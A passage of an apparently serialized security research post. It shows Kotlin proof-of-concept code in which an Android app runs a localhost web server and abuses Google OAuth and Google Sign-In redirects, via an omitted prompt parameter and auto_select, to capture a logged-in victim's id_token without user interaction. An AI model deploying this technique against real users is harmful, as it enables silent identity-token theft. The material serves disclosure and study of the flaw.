g":75,"props":110534,"children":110535},{"style":3621},[110536],{"type":29,"value":81677},{"type":23,"tag":75,"props":110538,"children":110539},{"class":77,"line":161},[110540,110544,110548,110552],{"type":23,"tag":75,"props":110541,"children":110542},{"style":88},[110543],{"type":29,"value":81685},{"type":23,"tag":75,"props":110545,"children":110546},{"style":94},[110547],{"type":29,"value":81690},{"type":23,"tag":75,"props":110549,"children":110550},{"style":88},[110551],{"type":29,"value":81695},{"type":23,"tag":75,"props":110553,"children":110554},{"style":94},[110555],{"type":29,"value":401},{"type":23,"tag":75,"props":110557,"children":110558},{"class":77,"line":196},[110559,110563],{"type":23,"tag":75,"props":110560,"children":110561},{"style":175},[110562],{"type":29,"value":81707},{"type":23,"tag":75,"props":110564,"children":110565},{"style":94},[110566],{"type":29,"value":401},{"type":23,"tag":75,"props":110568,"children":110569},{"class":77,"line":220},[110570,110574],{"type":23,"tag":75,"props":110571,"children":110572},{"style":88},[110573],{"type":29,"value":81719},{"type":23,"tag":75,"props":110575,"children":110576},{"style":94},[110577],{"type":29,"value":3249},{"type":23,"tag":75,"props":110579,"children":110580},{"class":77,"line":248},[110581,110585,110589,110593,110597,110601,110605],{"type":23,"tag":75,"props":110582,"children":110583},{"style":94},[110584],{"type":29,"value":81731},{"type":23,"tag":75,"props":110586,"children":110587},{"style":88},[110588],{"type":29,"value":81736},{"type":23,"tag":75,"props":110590,"children":110591},{"style":94},[110592],{"type":29,"value":643},{"type":23,"tag":75,"props":110594,"children":110595},{"style":1266},[110596],{"type":29,"value":81745},{"type":23,"tag":75,"props":110598,"children":110599},{"style":94},[110600],{"type":29,"value":611},{"type":23,"tag":75,"props":110602,"children":110603},{"style":1266},[110604],{"type":29,"value":81754},{"type":23,"tag":75,"props":110606,"children":110607},{"style":94},[110608],{"type":29,"value":653},{"type":23,"tag":75,"props":110610,"children":110611},{"class":77,"line":270},[110612,110616,110620,110624,110628],{"type":23,"tag":75,"props":110613,"children":110614},{"style":94},[110615],{"type":29,"value":81766},{"type":23,"tag":75,"props":110617,"children":110618},{"style":82},[110619],{"type":29,"value":59602},{"type":23,"tag":75,"props":110621,"children":110622},{"style":94},[110623],{"type":29,"value":81775},{"type":23,"tag":75,"props":110625,"children":110626},{"style":104},[110627],{"type":29,"value":81780},{"type":23,"tag":75,"props":110629,"children":110630},{"style":94},[110631],{"type":29,"value":193},{"type":23,"tag":75,"props":110633,"children":110634},{"class":77,"line":279},[110635,110639,110643,110647,110651,110655,110659,110663,110667,110671,110675],{"type":23,"tag":75,"props":110636,"children":110637},{"style":94},[110638],{"type":29,"value":81731},{"type":23,"tag":75,"props":110640,"children":110641},{"style":88},[110642],{"type":29,"value":62639},{"type":23,"tag":75,"props":110644,"children":110645},{"style":94},[110646],{"type":29,"value":643},{"type":23,"tag":75,"props":110648,"children":110649},{"style":1266},[110650],{"type":29,"value":81745},{"type":23,"tag":75,"props":110652,"children":110653},{"style":94},[110654],{"type":29,"value":611},{"type":23,"tag":75,"props":110656,"children":110657},{"style":1266},[110658],{"type":29,"value":81812},{"type":23,"tag":75,"props":110660,"children":110661},{"style":82},[110662],{"type":29,"value":45302},{"type":23,"tag":75,"props":110664,"children":110665},{"style":209},[110666],{"type":29,"value":81821},{"type":23,"tag":75,"props":110668,"children":110669},{"style":82},[110670],{"type":29,"value":45334},{"type":23,"tag":75,"props":110672,"children":110673},{"style":1266},[110674],{"type":29,"value":31282},{"type":23,"tag":75,"props":110676,"children":110677},{"style":94},[110678],{"type":29,"value":81834},{"type":23,"tag":75,"props":110680,"children":110681},{"class":77,"line":303},[110682],{"type":23,"tag":75,"props":110683,"children":110684},{"style":94},[110685],{"type":29,"value":5022},{"type":23,"tag":75,"props":110687,"children":110688},{"class":77,"line":322},[110689],{"type":23,"tag":75,"props":110690,"children":110691},{"style":94},[110692],{"type":29,"value":2503},{"type":23,"tag":75,"props":110694,"children":110695},{"class":77,"line":340},[110696],{"type":23,"tag":75,"props":110697,"children":110698},{"emptyLinePlaceholder":15},[110699],{"type":29,"value":276},{"type":23,"tag":75,"props":110701,"children":110702},{"class":77,"line":349},[110703],{"type":23,"tag":75,"props":110704,"children":110705},{"style":3621},[110706],{"type":29,"value":81863},{"type":23,"tag":75,"props":110708,"children":110709},{"class":77,"line":363},[110710,110714,110718,110722],{"type":23,"tag":75,"props":110711,"children":110712},{"style":82},[110713],{"type":29,"value":81871},{"type":23,"tag":75,"props":110715,"children":110716},{"style":94},[110717],{"type":29,"value":81876},{"type":23,"tag":75,"props":110719,"children":110720},{"style":209},[110721],{"type":29,"value":212},{"type":23,"tag":75,"props":110723,"children":110724},{"style":1266},[110725],{"type":29,"value":110726}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":75,"props":110728,"children":110729},{"class":77,"line":656},[110730,110734,110738,110742,110746,110750,110754],{"type":23,"tag":75,"props":110731,"children":110732},{"style":82},[110733],{"type":29,"value":81871},{"type":23,"tag":75,"props":110735,"children":110736},{"style":94},[110737],{"type":29,"value":81897},{"type":23,"tag":75,"props":110739,"children":110740},{"style":209},[110741],{"type":29,"value":212},{"type":23,"tag":75,"props":110743,"children":110744},{"style":88},[110745],{"type":29,"value":81906},{"type":23,"tag":75,"props":110747,"children":110748},{"style":94},[110749],{"type":29,"value":81911},{"type":23,"tag":75,"props":110751,"children":110752},{"style":88},[110753],{"type":29,"value":50401},{"type":23,"tag":75,"props":110755,"children":110756},{"style":94},[110757],{"type":29,"value":81920},{"type":23,"tag":75,"props":110759,"children":110760},{"class":77,"line":705},[110761,110765],{"type":23,"tag":75,"props":110762,"children":110763},{"style":88},[110764],{"type":29,"value":81928},{"type":23,"tag":75,"props":110766,"children":110767},{"style":94},[110768],{"type":29,"value":81933},{"type":23,"tag":75,"props":110770,"children":110771},{"class":77,"line":787},[110772],{"type":23,"tag":75,"props":110773,"children":110774},{"style":94},[110775],{"type":29,"value":346},{"type":23,"tag":75,"props":110777,"children":110778},{"class":77,"line":826},[110779],{"type":23,"tag":75,"props":110780,"children":110781},{"emptyLinePlaceholder":15},[110782],{"type":29,"value":276},{"type":23,"tag":75,"props":110784,"children":110785},{"class":77,"line":834},[110786,110790,110794,110798],{"type":23,"tag":75,"props":110787,"children":110788},{"style":82},[110789],{"type":29,"value":81955},{"type":23,"tag":75,"props":110791,"children":110792},{"style":82},[110793],{"type":29,"value":17474},{"type":23,"tag":75,"props":110795,"children":110796},{"style":88},[110797],{"type":29,"value":81964},{"type":23,"tag":75,"props":110799,"children":110800},{"style":94},[110801],{"type":29,"value":12966},{"type":23,"tag":75,"props":110803,"children":110804},{"class":77,"line":881},[110805,110809,110813,110817,110821],{"type":23,"tag":75,"props":110806,"children":110807},{"style":88},[110808],{"type":29,"value":81976},{"type":23,"tag":75,"props":110810,"children":110811},{"style":94},[110812],{"type":29,"value":81981},{"type":23,"tag":75,"props":110814,"children":110815},{"style":209},[110816],{"type":29,"value":212},{"type":23,"tag":75,"props":110818,"children":110819},{"style":237},[110820],{"type":29,"value":81990},{"type":23,"tag":75,"props":110822,"children":110823},{"style":94},[110824],{"type":29,"value":193},{"type":23,"tag":75,"props":110826,"children":110827},{"class":77,"line":3355},[110828,110832],{"type":23,"tag":75,"props":110829,"children":110830},{"style":88},[110831],{"type":29,"value":82002},{"type":23,"tag":75,"props":110833,"children":110834},{"style":94},[110835],{"type":29,"value":401},{"type":23,"tag":75,"props":110837,"children":110838},{"class":77,"line":3390},[110839,110843,110847,110851],{"type":23,"tag":75,"props":110840,"children":110841},{"style":82},[110842],{"type":29,"value":82014},{"type":23,"tag":75,"props":110844,"children":110845},{"style":94},[110846],{"type":29,"value":643},{"type":23,"tag":75,"props":110848,"children":110849},{"style":1266},[110850],{"type":29,"value":82023},{"type":23,"tag":75,"props":110852,"children":110853},{"style":94},[110854],{"type":29,"value":193},{"type":23,"tag":75,"props":110856,"children":110857},{"class":77,"line":3423},[110858,110862,110866],{"type":23,"tag":75,"props":110859,"children":110860},{"style":94},[110861],{"type":29,"value":82035},{"type":23,"tag":75,"props":110863,"children":110864},{"style":88},[110865],{"type":29,"value":82040},{"type":23,"tag":75,"props":110867,"children":110868},{"style":94},[110869],{"type":29,"value":401},{"type":23,"tag":75,"props":110871,"children":110872},{"class":77,"line":3436},[110873,110877],{"type":23,"tag":75,"props":110874,"children":110875},{"style":88},[110876],{"type":29,"value":82052},{"type":23,"tag":75,"props":110878,"children":110879},{"style":94},[110880],{"type":29,"value":401},{"type":23,"tag":75,"props":110882,"children":110883},{"class":77,"line":3449},[110884,110888,110892,110896,110900],{"type":23,"tag":75,"props":110885,"children":110886},{"style":88},[110887],{"type":29,"value":82064},{"type":23,"tag":75,"props":110889,"children":110890},{"style":94},[110891],{"type":29,"value":82069},{"type":23,"tag":75,"props":110893,"children":110894},{"style":209},[110895],{"type":29,"value":212},{"type":23,"tag":75,"props":110897,"children":110898},{"style":1266},[110899],{"type":29,"value":82078},{"type":23,"tag":75,"props":110901,"children":110902},{"style":94},[110903],{"type":29,"value":653},{"type":23,"tag":75,"props":110905,"children":110906},{"class":77,"line":3457},[110907,110911,110915,110919,110923,110927,110931,110935],{"type":23,"tag":75,"props":110908,"children":110909},{"style":88},[110910],{"type":29,"value":82064},{"type":23,"tag":75,"props":110912,"children":110913},{"style":94},[110914],{"type":29,"value":82094},{"type":23,"tag":75,"props":110916,"children":110917},{"style":209},[110918],{"type":29,"value":212},{"type":23,"tag":75,"props":110920,"children":110921},{"style":1266},[110922],{"type":29,"value":82103},{"type":23,"tag":75,"props":110924,"children":110925},{"style":94},[110926],{"type":29,"value":82108},{"type":23,"tag":75,"props":110928,"children":110929},{"style":209},[110930],{"type":29,"value":212},{"type":23,"tag":75,"props":110932,"children":110933},{"style":1266},[110934],{"type":29,"value":82117},{"type":23,"tag":75,"props":110936,"children":110937},{"style":94},[110938],{"type":29,"value":653},{"type":23,"tag":75,"props":110940,"children":110941},{"class":77,"line":3465},[110942,110946,110950,110954],{"type":23,"tag":75,"props":110943,"children":110944},{"style":88},[110945],{"type":29,"value":82129},{"type":23,"tag":75,"props":110947,"children":110948},{"style":94},[110949],{"type":29,"value":643},{"type":23,"tag":75,"props":110951,"children":110952},{"style":1266},[110953],{"type":29,"value":82138},{"type":23,"tag":75,"props":110955,"children":110956},{"style":94},[110957],{"type":29,"value":653},{"type":23,"tag":75,"props":110959,"children":110960},{"class":77,"line":3473},[110961],{"type":23,"tag":75,"props":110962,"children":110963},{"style":94},[110964],{"type":29,"value":82150},{"type":23,"tag":75,"props":110966,"children":110967},{"class":77,"line":3481},[110968,110972],{"type":23,"tag":75,"props":110969,"children":110970},{"style":88},[110971],{"type":29,"value":82158},{"type":23,"tag":75,"props":110973,"children":110974},{"style":94},[110975],{"type":29,"value":401},{"type":23,"tag":75,"props":110977,"children":110978},{"class":77,"line":3524},[110979,110983,110987,110991,110995],{"type":23,"tag":75,"props":110980,"children":110981},{"style":88},[110982],{"type":29,"value":82170},{"type":23,"tag":75,"props":110984,"children":110985},{"style":94},[110986],{"type":29,"value":20837},{"type":23,"tag":75,"props":110988,"children":110989},{"style":209},[110990],{"type":29,"value":7862},{"type":23,"tag":75,"props":110992,"children":110993},{"style":1266},[110994],{"type":29,"value":82183},{"type":23,"tag":75,"props":110996,"children":110997},{"style":94},[110998],{"type":29,"value":7477},{"type":23,"tag":75,"props":111000,"children":111001},{"class":77,"line":4890},[111002,111006],{"type":23,"tag":75,"props":111003,"children":111004},{"style":88},[111005],{"type":29,"value":82195},{"type":23,"tag":75,"props":111007,"children":111008},{"style":94},[111009],{"type":29,"value":401},{"type":23,"tag":75,"props":111011,"children":111012},{"class":77,"line":4937},[111013,111017],{"type":23,"tag":75,"props":111014,"children":111015},{"style":209},[111016],{"type":29,"value":82207},{"type":23,"tag":75,"props":111018,"children":111019},{"style":1266},[111020],{"type":29,"value":111021},"\"document.body.innerText = location.hash;\"\n",{"type":23,"tag":75,"props":111023,"children":111024},{"class":77,"line":4950},[111025],{"type":23,"tag":75,"props":111026,"children":111027},{"style":94},[111028],{"type":29,"value":82220},{"type":23,"tag":75,"props":111030,"children":111031},{"class":77,"line":4958},[111032],{"type":23,"tag":75,"props":111033,"children":111034},{"style":94},[111035],{"type":29,"value":82150},{"type":23,"tag":75,"props":111037,"children":111038},{"class":77,"line":4967},[111039],{"type":23,"tag":75,"props":111040,"children":111041},{"style":94},[111042],{"type":29,"value":82235},{"type":23,"tag":75,"props":111044,"children":111045},{"class":77,"line":4975},[111046],{"type":23,"tag":75,"props":111047,"children":111048},{"style":94},[111049],{"type":29,"value":4964},{"type":23,"tag":75,"props":111051,"children":111052},{"class":77,"line":5016},[111053],{"type":23,"tag":75,"props":111054,"children":111055},{"style":94},[111056],{"type":29,"value":5022},{"type":23,"tag":75,"props":111058,"children":111059},{"class":77,"line":5025},[111060,111064,111068,111072,111076,111080],{"type":23,"tag":75,"props":111061,"children":111062},{"style":94},[111063],{"type":29,"value":82257},{"type":23,"tag":75,"props":111065,"children":111066},{"style":88},[111067],{"type":29,"value":82262},{"type":23,"tag":75,"props":111069,"children":111070},{"style":94},[111071],{"type":29,"value":82267},{"type":23,"tag":75,"props":111073,"children":111074},{"style":209},[111075],{"type":29,"value":212},{"type":23,"tag":75,"props":111077,"children":111078},{"style":82},[111079],{"type":29,"value":23713},{"type":23,"tag":75,"props":111081,"children":111082},{"style":94},[111083],{"type":29,"value":653},{"type":23,"tag":75,"props":111085,"children":111086},{"class":77,"line":5033},[111087],{"type":23,"tag":75,"props":111088,"children":111089},{"style":94},[111090],{"type":29,"value":346},{"type":23,"tag":32,"props":111092,"children":111093},{},[111094],{"type":29,"value":111095},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":23,"tag":32,"props":111097,"children":111098},{},[111099,111101,111107],{"type":29,"value":111100},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":23,"tag":71,"props":111102,"children":111104},{"className":111103},[],[111105],{"type":29,"value":111106},"auto_select",{"type":29,"value":111108}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":23,"tag":64,"props":111110,"children":111112},{"className":110468,"code":111111,"language":110470,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[111113],{"type":23,"tag":71,"props":111114,"children":111115},{"__ignoreMap":7},[111116,111143,111162,111169,111188,111199,111210,111241,111264,111311,111318,111325,111332,111372,111383,111390,111397,111416,111439,111450,111469,111484,111495,111515,111526,111543,111569,111593,111600,111611,111623,111636,111644,111652,111659,111666,111674,111682,111690,111698,111706,111714,111722,111729,111736,111744,111752,111760,111767,111774,111782,111789,111810,111818,111825,111832,111843,111867,111879,111896,111903,111910,111918,111926,111934,111962],{"type":23,"tag":75,"props":111117,"children":111118},{"class":77,"line":78},[111119,111123,111127,111131,111135,111139],{"type":23,"tag":75,"props":111120,"children":111121},{"style":82},[111122],{"type":29,"value":81616},{"type":23,"tag":75,"props":111124,"children":111125},{"style":82},[111126],{"type":29,"value":17474},{"type":23,"tag":75,"props":111128,"children":111129},{"style":88},[111130],{"type":29,"value":81625},{"type":23,"tag":75,"props":111132,"children":111133},{"style":94},[111134],{"type":29,"value":81630},{"type":23,"tag":75,"props":111136,"children":111137},{"style":104},[111138],{"type":29,"value":81635},{"type":23,"tag":75,"props":111140,"children":111141},{"style":94},[111142],{"type":29,"value":81640},{"type":23,"tag":75,"props":111144,"children":111145},{"class":77,"line":100},[111146,111150,111154,111158],{"type":23,"tag":75,"props":111147,"children":111148},{"style":82},[111149],{"type":29,"value":81648},{"type":23,"tag":75,"props":111151,"children":111152},{"style":94},[111153],{"type":29,"value":557},{"type":23,"tag":75,"props":111155,"children":111156},{"style":88},[111157],{"type":29,"value":81657},{"type":23,"tag":75,"props":111159,"children":111160},{"style":94},[111161],{"type":29,"value":81662},{"type":23,"tag":75,"props":111163,"children":111164},{"class":77,"line":121},[111165],{"type":23,"tag":75,"props":111166,"children":111167},{"emptyLinePlaceholder":15},[111168],{"type":29,"value":276},{"type":23,"tag":75,"props":111170,"children":111171},{"class":77,"line":138},[111172,111176,111180,111184],{"type":23,"tag":75,"props":111173,"children":111174},{"style":88},[111175],{"type":29,"value":81685},{"type":23,"tag":75,"props":111177,"children":111178},{"style":94},[111179],{"type":29,"value":81690},{"type":23,"tag":75,"props":111181,"children":111182},{"style":88},[111183],{"type":29,"value":81695},{"type":23,"tag":75,"props":111185,"children":111186},{"style":94},[111187],{"type":29,"value":401},{"type":23,"tag":75,"props":111189,"children":111190},{"class":77,"line":161},[111191,111195],{"type":23,"tag":75,"props":111192,"children":111193},{"style":175},[111194],{"type":29,"value":81707},{"type":23,"tag":75,"props":111196,"children":111197},{"style":94},[111198],{"type":29,"value":401},{"type":23,"tag":75,"props":111200,"children":111201},{"class":77,"line":196},[111202,111206],{"type":23,"tag":75,"props":111203,"children":111204},{"style":88},[111205],{"type":29,"value":81719},{"type":23,"tag":75,"props":111207,"children":111208},{"style":94},[111209],{"type":29,"value":3249},{"type":23,"tag":75,"props":111211,"children":111212},{"class":77,"line":220},[111213,111217,111221,111225,111229,111233,111237],{"type":23,"tag":75,"props":111214,"children":111215},{"style":94},[111216],{"type":29,"value":81731},{"type":23,"tag":75,"props":111218,"children":111219},{"style":88},[111220],{"type":29,"value":81736},{"type":23,"tag":75,"props":111222,"children":111223},{"style":94},[111224],{"type":29,"value":643},{"type":23,"tag":75,"props":111226,"children":111227},{"style":1266},[111228],{"type":29,"value":81745},{"type":23,"tag":75,"props":111230,"children":111231},{"style":94},[111232],{"type":29,"value":611},{"type":23,"tag":75,"props":111234,"children":111235},{"style":1266},[111236],{"type":29,"value":81754},{"type":23,"tag":75,"props":111238,"children":111239},{"style":94},[111240],{"type":29,"value":653},{"type":23,"tag":75,"props":111242,"children":111243},{"class":77,"line":248},[111244,111248,111252,111256,111260],{"type":23,"tag":75,"props":111245,"children":111246},{"style":94},[111247],{"type":29,"value":81766},{"type":23,"tag":75,"props":111249,"children":111250},{"style":82},[111251],{"type":29,"value":59602},{"type":23,"tag":75,"props":111253,"children":111254},{"style":94},[111255],{"type":29,"value":81775},{"type":23,"tag":75,"props":111257,"children":111258},{"style":104},[111259],{"type":29,"value":81780},{"type":23,"tag":75,"props":111261,"children":111262},{"style":94},[111263],{"type":29,"value":193},{"type":23,"tag":75,"props":111265,"children":111266},{"class":77,"line":270},[111267,111271,111275,111279,111283,111287,111291,111295,111299,111303,111307],{"type":23,"tag":75,"props":111268,"children":111269},{"style":94},[111270],{"type":29,"value":81731},{"type":23,"tag":75,"props":111272,"children":111273},{"style":88},[111274],{"type":29,"value":62639},{"type":23,"tag":75,"props":111276,"children":111277},{"style":94},[111278],{"type":29,"value":643},{"type":23,"tag":75,"props":111280,"children":111281},{"style":1266},[111282],{"type":29,"value":81745},{"type":23,"tag":75,"props":111284,"children":111285},{"style":94},[111286],{"type":29,"value":611},{"type":23,"tag":75,"props":111288,"children":111289},{"style":1266},[111290],{"type":29,"value":81812},{"type":23,"tag":75,"props":111292,"children":111293},{"style":82},[111294],{"type":29,"value":45302},{"type":23,"tag":75,"props":111296,"children":111297},{"style":209},[111298],{"type":29,"value":81821},{"type":23,"tag":75,"props":111300,"children":111301},{"style":82},[111302],{"type":29,"value":45334},{"type":23,"tag":75,"props":111304,"children":111305},{"style":1266},[111306],{"type":29,"value":31282},{"type":23,"tag":75,"props":111308,"children":111309},{"style":94},[111310],{"type":29,"value":81834},{"type":23,"tag":75,"props":111312,"children":111313},{"class":77,"line":279},[111314],{"type":23,"tag":75,"props":111315,"children":111316},{"style":94},[111317],{"type":29,"value":5022},{"type":23,"tag":75,"props":111319,"children":111320},{"class":77,"line":303},[111321],{"type":23,"tag":75,"props":111322,"children":111323},{"style":94},[111324],{"type":29,"value":2503},{"type":23,"tag":75,"props":111326,"children":111327},{"class":77,"line":322},[111328],{"type":23,"tag":75,"props":111329,"children":111330},{"emptyLinePlaceholder":15},[111331],{"type":29,"value":276},{"type":23,"tag":75,"props":111333,"children":111334},{"class":77,"line":340},[111335,111339,111343,111347,111351,111355,111359,111363,111368],{"type":23,"tag":75,"props":111336,"children":111337},{"style":82},[111338],{"type":29,"value":81871},{"type":23,"tag":75,"props":111340,"children":111341},{"style":94},[111342],{"type":29,"value":81897},{"type":23,"tag":75,"props":111344,"children":111345},{"style":209},[111346],{"type":29,"value":212},{"type":23,"tag":75,"props":111348,"children":111349},{"style":88},[111350],{"type":29,"value":81906},{"type":23,"tag":75,"props":111352,"children":111353},{"style":94},[111354],{"type":29,"value":81911},{"type":23,"tag":75,"props":111356,"children":111357},{"style":88},[111358],{"type":29,"value":50401},{"type":23,"tag":75,"props":111360,"children":111361},{"style":94},[111362],{"type":29,"value":643},{"type":23,"tag":75,"props":111364,"children":111365},{"style":1266},[111366],{"type":29,"value":111367},"\"http://localhost:3000\"",{"type":23,"tag":75,"props":111369,"children":111370},{"style":94},[111371],{"type":29,"value":702},{"type":23,"tag":75,"props":111373,"children":111374},{"class":77,"line":349},[111375,111379],{"type":23,"tag":75,"props":111376,"children":111377},{"style":88},[111378],{"type":29,"value":81928},{"type":23,"tag":75,"props":111380,"children":111381},{"style":94},[111382],{"type":29,"value":81933},{"type":23,"tag":75,"props":111384,"children":111385},{"class":77,"line":363},[111386],{"type":23,"tag":75,"props":111387,"children":111388},{"style":94},[111389],{"type":29,"value":346},{"type":23,"tag":75,"props":111391,"children":111392},{"class":77,"line":656},[111393],{"type":23,"tag":75,"props":111394,"children":111395},{"emptyLinePlaceholder":15},[111396],{"type":29,"value":276},{"type":23,"tag":75,"props":111398,"children":111399},{"class":77,"line":705},[111400,111404,111408,111412],{"type":23,"tag":75,"props":111401,"children":111402},{"style":82},[111403],{"type":29,"value":81955},{"type":23,"tag":75,"props":111405,"children":111406},{"style":82},[111407],{"type":29,"value":17474},{"type":23,"tag":75,"props":111409,"children":111410},{"style":88},[111411],{"type":29,"value":81964},{"type":23,"tag":75,"props":111413,"children":111414},{"style":94},[111415],{"type":29,"value":12966},{"type":23,"tag":75,"props":111417,"children":111418},{"class":77,"line":787},[111419,111423,111427,111431,111435],{"type":23,"tag":75,"props":111420,"children":111421},{"style":88},[111422],{"type":29,"value":81976},{"type":23,"tag":75,"props":111424,"children":111425},{"style":94},[111426],{"type":29,"value":81981},{"type":23,"tag":75,"props":111428,"children":111429},{"style":209},[111430],{"type":29,"value":212},{"type":23,"tag":75,"props":111432,"children":111433},{"style":237},[111434],{"type":29,"value":81990},{"type":23,"tag":75,"props":111436,"children":111437},{"style":94},[111438],{"type":29,"value":193},{"type":23,"tag":75,"props":111440,"children":111441},{"class":77,"line":826},[111442,111446],{"type":23,"tag":75,"props":111443,"children":111444},{"style":88},[111445],{"type":29,"value":82002},{"type":23,"tag":75,"props":111447,"children":111448},{"style":94},[111449],{"type":29,"value":401},{"type":23,"tag":75,"props":111451,"children":111452},{"class":77,"line":834},[111453,111457,111461,111465],{"type":23,"tag":75,"props":111454,"children":111455},{"style":82},[111456],{"type":29,"value":82014},{"type":23,"tag":75,"props":111458,"children":111459},{"style":94},[111460],{"type":29,"value":643},{"type":23,"tag":75,"props":111462,"children":111463},{"style":1266},[111464],{"type":29,"value":82023},{"type":23,"tag":75,"props":111466,"children":111467},{"style":94},[111468],{"type":29,"value":193},{"type":23,"tag":75,"props":111470,"children":111471},{"class":77,"line":881},[111472,111476,111480],{"type":23,"tag":75,"props":111473,"children":111474},{"style":94},[111475],{"type":29,"value":82035},{"type":23,"tag":75,"props":111477,"children":111478},{"style":88},[111479],{"type":29,"value":82040},{"type":23,"tag":75,"props":111481,"children":111482},{"style":94},[111483],{"type":29,"value":401},{"type":23,"tag":75,"props":111485,"children":111486},{"class":77,"line":3355},[111487,111491],{"type":23,"tag":75,"props":111488,"children":111489},{"style":88},[111490],{"type":29,"value":82052},{"type":23,"tag":75,"props":111492,"children":111493},{"style":94},[111494],{"type":29,"value":401},{"type":23,"tag":75,"props":111496,"children":111497},{"class":77,"line":3390},[111498,111502,111506,111511],{"type":23,"tag":75,"props":111499,"children":111500},{"style":88},[111501],{"type":29,"value":82129},{"type":23,"tag":75,"props":111503,"children":111504},{"style":94},[111505],{"type":29,"value":643},{"type":23,"tag":75,"props":111507,"children":111508},{"style":1266},[111509],{"type":29,"value":111510},"\"Test\"",{"type":23,"tag":75,"props":111512,"children":111513},{"style":94},[111514],{"type":29,"value":653},{"type":23,"tag":75,"props":111516,"children":111517},{"class":77,"line":3423},[111518,111522],{"type":23,"tag":75,"props":111519,"children":111520},{"style":88},[111521],{"type":29,"value":82195},{"type":23,"tag":75,"props":111523,"children":111524},{"style":94},[111525],{"type":29,"value":401},{"type":23,"tag":75,"props":111527,"children":111528},{"class":77,"line":3436},[111529,111534,111538],{"type":23,"tag":75,"props":111530,"children":111531},{"style":94},[111532],{"type":29,"value":111533},"                                src ",{"type":23,"tag":75,"props":111535,"children":111536},{"style":209},[111537],{"type":29,"value":212},{"type":23,"tag":75,"props":111539,"children":111540},{"style":1266},[111541],{"type":29,"value":111542}," \"https://accounts.google.com/gsi/client\"\n",{"type":23,"tag":75,"props":111544,"children":111545},{"class":77,"line":3449},[111546,111551,111556,111560,111564],{"type":23,"tag":75,"props":111547,"children":111548},{"style":94},[111549],{"type":29,"value":111550},"                                attributes[",{"type":23,"tag":75,"props":111552,"children":111553},{"style":1266},[111554],{"type":29,"value":111555},"\"async\"",{"type":23,"tag":75,"props":111557,"children":111558},{"style":94},[111559],{"type":29,"value":13463},{"type":23,"tag":75,"props":111561,"children":111562},{"style":209},[111563],{"type":29,"value":212},{"type":23,"tag":75,"props":111565,"children":111566},{"style":1266},[111567],{"type":29,"value":111568}," \"\"\n",{"type":23,"tag":75,"props":111570,"children":111571},{"class":77,"line":3457},[111572,111576,111581,111585,111589],{"type":23,"tag":75,"props":111573,"children":111574},{"style":94},[111575],{"type":29,"value":111550},{"type":23,"tag":75,"props":111577,"children":111578},{"style":1266},[111579],{"type":29,"value":111580},"\"defer\"",{"type":23,"tag":75,"props":111582,"children":111583},{"style":94},[111584],{"type":29,"value":13463},{"type":23,"tag":75,"props":111586,"children":111587},{"style":209},[111588],{"type":29,"value":212},{"type":23,"tag":75,"props":111590,"children":111591},{"style":1266},[111592],{"type":29,"value":111568},{"type":23,"tag":75,"props":111594,"children":111595},{"class":77,"line":3465},[111596],{"type":23,"tag":75,"props":111597,"children":111598},{"style":94},[111599],{"type":29,"value":82220},{"type":23,"tag":75,"props":111601,"children":111602},{"class":77,"line":3473},[111603,111607],{"type":23,"tag":75,"props":111604,"children":111605},{"style":88},[111606],{"type":29,"value":82195},{"type":23,"tag":75,"props":111608,"children":111609},{"style":94},[111610],{"type":29,"value":401},{"type":23,"tag":75,"props":111612,"children":111613},{"class":77,"line":3481},[111614,111619],{"type":23,"tag":75,"props":111615,"children":111616},{"style":88},[111617],{"type":29,"value":111618},"                                